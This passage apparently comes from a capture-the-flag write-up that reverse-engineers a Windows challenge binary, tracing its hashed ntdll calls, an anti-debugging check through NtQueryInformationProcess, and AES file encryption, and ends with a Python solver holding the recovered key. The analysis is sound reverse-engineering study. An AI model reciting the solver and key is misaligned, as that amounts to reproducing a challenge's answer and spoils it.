960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/82b7b0455d117a973f8228ca09bf4f21/8ff5a/image-20230325151908221.png 240w,\n/static/82b7b0455d117a973f8228ca09bf4f21/e85cb/image-20230325151908221.png 480w,\n/static/82b7b0455d117a973f8228ca09bf4f21/d9199/image-20230325151908221.png 960w,\n/static/82b7b0455d117a973f8228ca09bf4f21/04784/image-20230325151908221.png 1174w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/82b7b0455d117a973f8228ca09bf4f21/d9199/image-20230325151908221.png\"\n            alt=\"image-20230325151908221\"\n            title=\"image-20230325151908221\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Tracing execution in the debugger revealed that the address at <code class=\"language-text\">(param_1 + 0x12e0)</code> contains the following code:</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 722px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/35011e884de3c2fffacdda6251fb3f21/d44c9/image-20230325181256801.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 34.583333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABQklEQVQoz4WQWUvDQBSF8///hIpQEOyjPrhU8MW26TZZJms1xpaGNCsmRJM0x5kRpVbEC4c7w2W+c+5IJ9cERwMDp/c2jlk/G3q4UEOcz0P0Riv0hi/os3NfXuGSZhgsS9w4Ba7sAgP3U/x+y/rdsoBEZjJcSvDsGPBsCkcnCPxHAB2qPEL9mqApUjbTgd0b/ivpYTzBgijQqAHTdjCdzbF8fBLDOEkRRjGiOIHFZnGS4b1u0O66PyWN5AlUVYFpmkKKooBSiqqqkOc5oihCmqYwDAO+72Oz2aCua2HYdZ3Qj4RjecqA6jeQEALLstC2LbIsw3a7FUBN07Ber4UBB+7D9qHScCxDZal4Ag7UdR22bYs0nuchDEMB5iZfwDiOkSTsb5vmN3C+IALmuq4ABUEg1uUp+EMOKMtSQA/XO4Tx+gD/DwgLrqy6PwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/35011e884de3c2fffacdda6251fb3f21/8ac56/image-20230325181256801.webp 240w,\n/static/35011e884de3c2fffacdda6251fb3f21/d3be9/image-20230325181256801.webp 480w,\n/static/35011e884de3c2fffacdda6251fb3f21/468da/image-20230325181256801.webp 722w\"\n              sizes=\"(max-width: 722px) 100vw, 722px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/35011e884de3c2fffacdda6251fb3f21/8ff5a/image-20230325181256801.png 240w,\n/static/35011e884de3c2fffacdda6251fb3f21/e85cb/image-20230325181256801.png 480w,\n/static/35011e884de3c2fffacdda6251fb3f21/d44c9/image-20230325181256801.png 722w\"\n            sizes=\"(max-width: 722px) 100vw, 722px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/35011e884de3c2fffacdda6251fb3f21/d44c9/image-20230325181256801.png\"\n            alt=\"image-20230325181256801\"\n            title=\"image-20230325181256801\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>This appears to be where the file’s string data is encrypted, but we were unable to identify exactly what it was doing and gave up on this path.</p>\n<p>From here, we consulted a writeup and continued tracing the behavior.</p>\n<p>We started by getting an overall picture of the main function.</p>\n<p>The following shows the first block of the main function, reformatted for clarity.</p>\n<p>First, we confirmed in the debugger that <code class=\"language-text\">unknown_data</code> initially holds <code class=\"language-text\">64745e29db38</code>.</p>\n<p>We also identified that <code class=\"language-text\">unknown_code1</code> points to <code class=\"language-text\">ntdll!NtAllocateVirtualMemory</code> and <code class=\"language-text\">unknown_code2</code> points to <code class=\"language-text\">ntdll!NtWriteVirtualMemory</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">unknown_data <span class=\"token operator\">=</span> DAT_00005008 <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span>ulonglong<span class=\"token punctuation\">)</span>auStack_58<span class=\"token punctuation\">;</span>\nresult_GetCurrentProcess <span class=\"token operator\">=</span> <span class=\"token function\">GetCurrentProcess</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nunknown_code1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>code <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token function\">FUN_00001080</span><span class=\"token punctuation\">(</span><span class=\"token number\">0xd026c5e3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nunknown_code2 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>code <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token function\">FUN_00001080</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x749cf0df</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>Next is <code class=\"language-text\">FUN_00001590</code>; from the decompiled output it appears to repeat some operation on <code class=\"language-text\">DAT_00005070</code> 0x1600 times.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 371px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/75545c5bfb99abeaa98cdb1e60bec8e9/d4635/image-20230328081945042.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 187.08333333333331%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAlCAYAAABCr8kFAAAACXBIWXMAAAsTAAALEwEAmpwYAAAELUlEQVRIx8WWWXIqVxBEtf9NOMLhb6/CW3gf1gPEPPRw56HndN6LZAkBEi/8YSKapjvgkFWVVdVPp8pD1hHPz3/iR/U7/q7+wI/yN6zFX5ACqOsGwIRp4nt6++b15Jz79ktnzvewDJRSI1JEbHq0reWh0fVtVvN2/JJC7wJeti1q1cCoJZT8CWPKVz2XwIcUWuuxzMAAo+dQhIZgXkOdHlJ1qdAT5FLIA/pOo20cxumcuOnO8fZnt4HBE6TQdQ5NxzwO3QNFuq/6yVgDa2YMdwXrFCqhUMuOYTcQRqMIAbppUYbIIyC07dcKtbaoKoMYDaZxQMPQlZmoeISletV2sF0HTVA6mq77t1i3wn8yJsD7Hs4VtIxnDlMKirOF+OMyVLRR93D4DDnwZsh2cfYIaQSEPjINBbTdodBblLpGQ3WudTi5Ewr+eTr7JlwrtL6hIgetF4TsUfHHwlrCS/pxDmeOKFQFx/BlEJiJGeZijlk9g2DOr4EuYugJVO9AafUr8IXHGehjIFDiRb5gSa+ms/L6FjBcAVVWWBG2oPIdKiVYLBYlKizkAnP5hULnIyvaELgkYAXnDc+aNnphoXbomKejOWCt1tjoDZZyCRstOvq1H/rbIY9DJHBOhTsWgkCGbM2W0GX2pnIGKigqWxC4InjLa50H0ITpk23se8iGwJMo6UPm0O1hCSzFnteGFmpyqCu1yoU50QXTeMOH1n7M4RmoE9CegZU80EoccW3MChMwnUsW7SYwtVh/C+i+As5RmDtAc0PhRcgXwPn/AEyd8rEoyXNvOUxVrtWJlbcEhsdC/mjsBCxkdZXDVOUMFO8KSxp/GnE1eT51yv0qN7RN6pLla5WLe7Zx/mOV9ziIE3vZnFtPv90rOBxcNnfq4dx+VFs7ebV7zsNhSNNmllVtxQ4HuYd3qVs2uWOOVLkWG/TtgNKXWeWWbbhmxzRtc6GSVfboOOekWOch6zlBjGHL2TUXl0NBA2/UJg/bR3YNO8US1mK9GlGWI9foMU+Y6D0TLzgUDthXJ4TYchhMjKbFOHbcjFMeEA2v00R/y2duPa0GVOUR+5PFeh+x2HlsTwqbE73H65e9wyFdHwIEU6K5vyN3d+kq7O0BNad823Tvxk67JIUcQoEmRo4rjQM3XE1VB+7ttPE6rlipuP1EZH4PeV0Mw3AdsmNoTQSk7DlELW8yHH5x4Kwbeg8wvLT0Yx/Q9M3NvF1U2TifP8TAXSKez5XlPNRp5nFxWSoJrOSe9qldfQW5Bhp7BsYjq/uT4XB/eMW88rPnZmMEqY8/r827e9m+KlTSoCiOtI7PLZhMHSJtYyqoqBG4CsZx/PYhKrfeNHHn2glFCRamp6qS+ZQsRAcZJc1c5U34EXj32UZplwvi7MgW7P/Tg1IGCj4cSbbk6dhRWfdl0r97lEuvfwChnjRUxD6exwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/75545c5bfb99abeaa98cdb1e60bec8e9/8ac56/image-20230328081945042.webp 240w,\n/static/75545c5bfb99abeaa98cdb1e60bec8e9/65f07/image-20230328081945042.webp 371w\"\n              sizes=\"(max-width: 371px) 100vw, 371px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/75545c5bfb99abeaa98cdb1e60bec8e9/8ff5a/image-20230328081945042.png 240w,\n/static/75545c5bfb99abeaa98cdb1e60bec8e9/d4635/image-20230328081945042.png 371w\"\n            sizes=\"(max-width: 371px) 100vw, 371px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/75545c5bfb99abeaa98cdb1e60bec8e9/d4635/image-20230328081945042.png\"\n            alt=\"image-20230328081945042\"\n            title=\"image-20230328081945042\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Because all operations are XOR, the net result should be no change, which we verified in the debugger by confirming that <code class=\"language-text\">DAT_00005070</code> stays constant across the call.</p>\n<p>Using the DATA section address obtained from <code class=\"language-text\">!dh challenge_patched -s</code>, we monitored <code class=\"language-text\">challenge_patched+5070</code> and confirmed no change before and after the <code class=\"language-text\">FUN_00001590</code> call.</p>\n<p>The subsequent code uses the previously identified <code class=\"language-text\">NtAllocateVirtualMemory</code> and <code class=\"language-text\">NtWriteVirtualMemory</code> to allocate 0x1600 bytes and store the value of <code class=\"language-text\">DAT_00005060</code>:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token punctuation\">(</span>*ntdll<span class=\"token operator\">!</span>NtAllocateVirtualMemory<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>result_GetCurrentProcess2,<span class=\"token operator\">&amp;</span>base_address,0,<span class=\"token operator\">&amp;</span>0x1600<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nlocal_38 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">(</span>*ntdll<span class=\"token operator\">!</span>NtWriteVirtualMemory<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>result_GetCurrentProcess,base_address,<span class=\"token operator\">&amp;</span>DAT_00005060,0x1600<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>The first argument being the result of <code class=\"language-text\">GetCurrentProcess</code> is because these functions take a <code class=\"language-text\">ProcessHandle</code> as their first argument.</p>\n<p>Reference: <a href=\"http://undocumented.ntinternals.net/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">NTAPI Undocumented Functions</a></p>\n<p>We now look at the remaining three calls:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"> FUN_00001210<span class=\"token punctuation\">(</span>base_address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n FUN_00001290<span class=\"token punctuation\">(</span>base_address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n FUN_00001720<span class=\"token punctuation\">(</span>unknown_data ^ <span class=\"token punctuation\">(</span>ulonglong<span class=\"token punctuation\">)</span>auStack_58<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>Starting with <code class=\"language-text\">FUN_00001210</code>, the reformatted decompiled output is as follows:</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> <span class=\"token function\">FUN_00001210</span><span class=\"token punctuation\">(</span>longlong base_address<span class=\"token punctuation\">)</span>\n\n<span class=\"token punctuation\">{</span>\n  code <span class=\"token operator\">*</span>pcVar1<span class=\"token punctuation\">;</span>\n  HANDLE pvVar2<span class=\"token punctuation\">;</span>\n  undefined auStack_48 <span class=\"token punctuation\">[</span><span class=\"token number\">32</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  undefined <span class=\"token operator\">*</span>local_28<span class=\"token punctuation\">;</span>\n  undefined4 local_18<span class=\"token punctuation\">;</span>\n  undefined local_14 <span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  ulonglong local_10<span class=\"token punctuation\">;</span>\n  \n  local_10 <span class=\"token operator\">=</span> DAT_00005008 <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span>ulonglong<span class=\"token punctuation\">)</span>auStack_48<span class=\"token punctuation\">;</span>\n  pcVar1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>code <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token function\">FUN_00001080</span><span class=\"token punctuation\">(</span><span class=\"token number\">0xbe774f89</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>pcVar1 <span class=\"token operator\">!=</span> <span class=\"token punctuation\">(</span>code <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    pvVar2 <span class=\"token operator\">=</span> <span class=\"token function\">GetCurrentProcess</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    local_28 <span class=\"token operator\">=</span> local_14<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span>pcVar1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>pvVar2<span class=\"token punctuation\">,</span><span class=\"token number\">0x1f</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>local_18<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>code <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>base_address <span class=\"token operator\">+</span> <span class=\"token number\">0x12a0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>DAT_00005050<span class=\"token punctuation\">,</span>local_18<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token function\">FUN_00001720</span><span class=\"token punctuation\">(</span>local_10 <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span>ulonglong<span class=\"token punctuation\">)</span>auStack_48<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Further debugging confirmed that <code class=\"language-text\">(*pcVar1)(pvVar2,0x1f,&amp;local_18);</code> is <code class=\"language-text\">ntdll!NtQueryInformationProcess</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/3068a0fd77e93c8cae16923c2c9b28aa/34431/image-20230327141123178.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 27.916666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAABEklEQVQY0zVQa2+EIBD0//+fJv3Upl+b9NJifIKi6Pl+nFjPJ9hpm1tgMmHZZWaNIAhc142iyHEcSim47/umaYac25bvXFz7w068RJZSeKJO6rmfj/FQ3wpo5HneNE3XdUDwcRyVUqf+XfxLsCfGnlnxUsh3eX29pm+pvMjN3lZr3a3dYJR6nhfHsRCiLEvOeZqmIFqflHPiEsu3sia/TTeRi6zOmqGZj/l+3NWpDNu2IBKaUZZlGRoxxpIk2fc9CCPySWIeQ0bf9tM4aaXVgaOxcWlwHuKfaZq2bVsfgcplWVyPEkLQaxiGoijgC6nzPPUjDIisqgqe67ru+x6keyBl4f8UYaptW+jCUPBM/gWm8wObi0daUM2B2QAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/3068a0fd77e93c8cae16923c2c9b28aa/8ac56/image-20230327141123178.webp 240w,\n/static/3068a0fd77e93c8cae16923c2c9b28aa/d3be9/image-20230327141123178.webp 480w,\n/static/3068a0fd77e93c8cae16923c2c9b28aa/e46b2/image-20230327141123178.webp 960w,\n/static/3068a0fd77e93c8cae16923c2c9b28aa/f992d/image-20230327141123178.webp 1440w,\n/static/3068a0fd77e93c8cae16923c2c9b28aa/f2650/image-20230327141123178.webp 1539w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/3068a0fd77e93c8cae16923c2c9b28aa/8ff5a/image-20230327141123178.png 240w,\n/static/3068a0fd77e93c8cae16923c2c9b28aa/e85cb/image-20230327141123178.png 480w,\n/static/3068a0fd77e93c8cae16923c2c9b28aa/d9199/image-20230327141123178.png 960w,\n/static/3068a0fd77e93c8cae16923c2c9b28aa/07a9c/image-20230327141123178.png 1440w,\n/static/3068a0fd77e93c8cae16923c2c9b28aa/34431/image-20230327141123178.png 1539w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/3068a0fd77e93c8cae16923c2c9b28aa/d9199/image-20230327141123178.png\"\n            alt=\"image-20230327141123178\"\n            title=\"image-20230327141123178\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>At the point of the <code class=\"language-text\">ntdll!NtQueryInformationProcess</code> call, <code class=\"language-text\">local_18</code> holds <code class=\"language-text\">cd8753fc50</code>.</p>\n<p>After the call, <code class=\"language-text\">local_18</code> is passed to the custom function <code class=\"language-text\">*(code *)(base_address + 0x12a0)</code>.</p>\n<p>As documented, <code class=\"language-text\">ntdll!NtQueryInformationProcess</code> takes a <code class=\"language-text\">ProcessInformationClass</code> value in its second argument to specify the type of process information to retrieve.</p>\n<p>Reference: <a href=\"https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">NtQueryInformationProcess function (winternl.h) - Win32 apps | Microsoft Learn</a></p>\n<p>Passing 0x1f as <code class=\"language-text\">ProcessInformationClass</code> is not covered in official documentation, but it appears to retrieve <code class=\"language-text\">ProcessDebugFlags</code>, which indicates whether a debugger is attached.</p>\n<p>Reference: <a href=\"https://eset-info.canon-its.jp/malware_info/special/detail/211223_2.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">NtQueryInformationProcess | Cyber Security Information Bureau</a></p>\n<p>This is apparently a commonly used anti-analysis technique in malware.</p>\n<p>When <code class=\"language-text\">ProcessDebugFlags</code> is specified, the output <code class=\"language-text\">ProcessInformation</code> pointed to by the third argument receives 0 when a debugger is present.</p>\n<p>Indeed, <code class=\"language-text\">*(code *)(base_address + 0x12a0)</code> was called with <code class=\"language-text\">DAT_00005050</code> and 0 as arguments.</p>\n<p>The second argument being 0 only happens when debugging is active, so we changed it to 1 and ran the program; the computed result was <code class=\"language-text\">6d597133733676397924422645294840</code>.</p>\n<p>This value is stored in <code class=\"language-text\">DAT_00005050</code> and used in the subsequent encryption.</p>\n<p>We now look at the encryption logic inside <code class=\"language-text\">FUN_00001290</code>.</p>\n<p>The encryption happens at the line <code class=\"language-text\">(*(code *)(param_1 + 0x12e0))(_Dst,nNumberOfBytesToWrite,&amp;DAT_140005050,&amp;DAT_140006c58);</code> noted at the top.</p>\n<p>The encryption keys are <code class=\"language-text\">DAT_00005050</code> and <code class=\"language-text\">DAT_00006c58</code>.</p>\n<p>We confirmed in the debugger that <code class=\"language-text\">DAT_00006c58</code> is all <code class=\"language-text\">\\x00</code>.</p>\n<p>The encryption code that is called looks like:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d312e0 48895c2408      mov     qword ptr <span class=\"token punctuation\">[</span>rsp+8<span class=\"token punctuation\">]</span>,rbx ss:000000b5<span class=\"token variable\">`</span></span>952ff3d0<span class=\"token operator\">=</span>00000000000000ff\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d312e5 <span class=\"token number\">57</span>              push    rdi\n0000025c<span class=\"token variable\">`</span></span>b5d312e6 4881ece0000000  sub     rsp,0E0h\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d312ed 498bc0          mov     rax,r8\n0000025c<span class=\"token variable\">`</span></span>b5d312f0 488bda          mov     rbx,rdx\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d312f3 488bf9          mov     rdi,rcx\n0000025c<span class=\"token variable\">`</span></span>b5d312f6 488bd0          mov     rdx,rax\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d312f9 4d8bc1          mov     r8,r9\n0000025c<span class=\"token variable\">`</span></span>b5d312fc 488d4c2420      lea     rcx,<span class=\"token punctuation\">[</span>rsp+20h<span class=\"token punctuation\">]</span>\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d31301 e8aaf4ffff      call    0000025c<span class=\"token variable\">`</span></span>b5d307b0\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d31306 4c8bc3          mov     r8,rbx\n0000025c<span class=\"token variable\">`</span></span>b5d31309 488d4c2420      lea     rcx,<span class=\"token punctuation\">[</span>rsp+20h<span class=\"token punctuation\">]</span>\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d3130e 488bd7          mov     rdx,rdi\n0000025c<span class=\"token variable\">`</span></span>b5d31311 e8aaf0ffff      call    0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d303c0\n0000025c<span class=\"token variable\">`</span></span>b5d31316 488b9c24f0000000 mov     rbx,qword ptr <span class=\"token punctuation\">[</span>rsp+0F0h<span class=\"token punctuation\">]</span>\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d3131e b001            mov     al,1\n0000025c<span class=\"token variable\">`</span></span>b5d31320 4881c4e0000000  <span class=\"token function\">add</span>     rsp,0E0h\n0000025c<span class=\"token variable\"><span class=\"token variable\">`</span>b5d31327 5f              pop     rdi\n0000025c<span class=\"token variable\">`</span></span>b5d31328 c3              ret</code></pre></div>\n<p>After reading through the code with the help of a writeup, we could not fully understand it ourselves, but tracing down the functions it calls reveals an AES S-Box-like byte array, confirming that AES encryption is in use. (Is this supposed to be obvious?)</p>\n<p>We were unfortunately unable to identify this independently, but with reference to <a href=\"https://blog.bi0s.in/2023/03/24/RE/Vessel_Cartographer/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Vessel Cartographer | bi0s</a> we decrypted the file using the following solver:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> Crypto<span class=\"token punctuation\">.</span>Cipher <span class=\"token keyword\">import</span> AES\nf1 <span class=\"token operator\">=</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"flag.png\"</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"wb\"</span><span class=\"token punctuation\">)</span>\nx <span class=\"token operator\">=</span> AES<span class=\"token punctuation\">.</span>new<span class=\"token punctuation\">(</span>key<span class=\"token operator\">=</span><span class=\"token string\">b'mYq3s6v9y$B&amp;E)H@'</span><span class=\"token punctuation\">,</span> mode<span class=\"token operator\">=</span>AES<span class=\"token punctuation\">.</span>MODE_CBC<span class=\"token punctuation\">,</span> iv<span class=\"token operator\">=</span><span class=\"token string\">b'\\x00'</span><span class=\"token operator\">*</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\nf2 <span class=\"token operator\">=</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"vessel_map.jpeg.owo\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"rb\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token builtin\">bytes</span> <span class=\"token operator\">=</span> f2<span class=\"token punctuation\">.</span>read<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nf1<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span>x<span class=\"token punctuation\">.</span>decrypt<span class=\"token punctuation\">(</span><span class=\"token builtin\">bytes</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>The flag is below. That was a heavy one…</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/d4d417d5d444a46f9686e12bcfb8f096/e4900/image-20230328190620744.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 81.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAADiUlEQVQ4y1WUa08bZxCF7b3au+v1DYONuYOFbUwIxsaAMeFmG4LCJbTcCglSCq0qtU3TFjVtidRPrZSqnypV7Q/o33w674Y0yYfRat/dOTNzzpw35McsIp6B6ZjYtoUbsYhFLXzHxpdn2ndYrRfJpXy8iElczmPyjyP/RiwTyzQxDRPPNvAjBqG0p0tSGD+mkdJ0PF3CUh/lJ0unL+7w7LDJcF8Cx9TenEuyY+rYho6pa+iaJu9hXIlQPC8AuTBOSsfP6sQGBMwzSXiqS5Ns2uX2q4dMDKZxpUDCsQLQmG3iSGFbgE0BdqWYZ2mEPAGKpjSiCR0nLgkZi0TKIpmyicdNcnmfVq3MSDYdjKQAVcQlXAFUoBHzLaB0GJOqkXAYS8KRSp5pBM94VCXaTA73sbfZYKY4RMqLBuELh7lUDFdGt/UwRjj0DjCihyiNpNlaLjGR7+XV823++u2U5ZlRrk5bdJrT7K7Vac0VuTxcpDk9zHfPVjlcrVAt5NlcKASh+A44tLUQlbEM260y4/29/HF7wL9/XnK6NcuvP+yxv1mj26zzUafB658P+Px4kd9fPuJqr86cAO6slDndvi8TGYEwoZgtHBphIhJ+1KS7VOKsM8urT9Z5cbzBfGVSokSnMcv3T7r8ffMx1weLnO3MBZREDS0Y+x2Hth6oo0jOxF06y1Octav8dN7lx/NNnu4ucK8wyvlOg5cXG9ycbPLF4bJ0XKVPeFR5MRHLtT4AFHXdCJWJPOcySrtWoLMwx9XuMt+er9GWkb88fsDzo1U5r7HVKPNkf5G58jCpmBMAeu8DKnS1Y0lRcLVe4LA1xevrHV5ddLk+avOw1eDy8Tq3T7v8880Rnz1aEGrKZO+Udq331saz1YqY9Kd9RnMpLnfqHG3MsL80xcn6POvC3dp8Vbagzkl7kYv2PMfrVRFlibFcD4OZBD2+G3QYqKzs1C+VasVxVu4Xedya5cFsiaFcTrpa4+pghZVqla9PO9x8usvCdIm16hTdeoXmvUmWpidlfYZIiqv+V1m17EdthjJJpscGySY8KeJTGe+nVhqhODJMtTgq4gyIp5MMyDTj+Ryj2R7h3g5yA1HeAqouo6YWGD4jl4FaH0WDe/d+tttkoDcRrIg6V17uk6LKdurMMrQP10aBKZMrQGU5BRhcAgG3Hr+82KMw2BPcQknl4ztbOsq2kmMZb5pSgP8BOS226BqdYgkAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/d4d417d5d444a46f9686e12bcfb8f096/8ac56/image-20230328190620744.webp 240w,\n/static/d4d417d5d444a46f9686e12bcfb8f096/d3be9/image-20230328190620744.webp 480w,\n/static/d4d417d5d444a46f9686e12bcfb8f096/e46b2/image-20230328190620744.webp 960w,\n/static/d4d417d5d444a46f9686e12bcfb8f096/6257a/image-20230328190620744.webp 988w\"\n              sizes=\"(max-width: 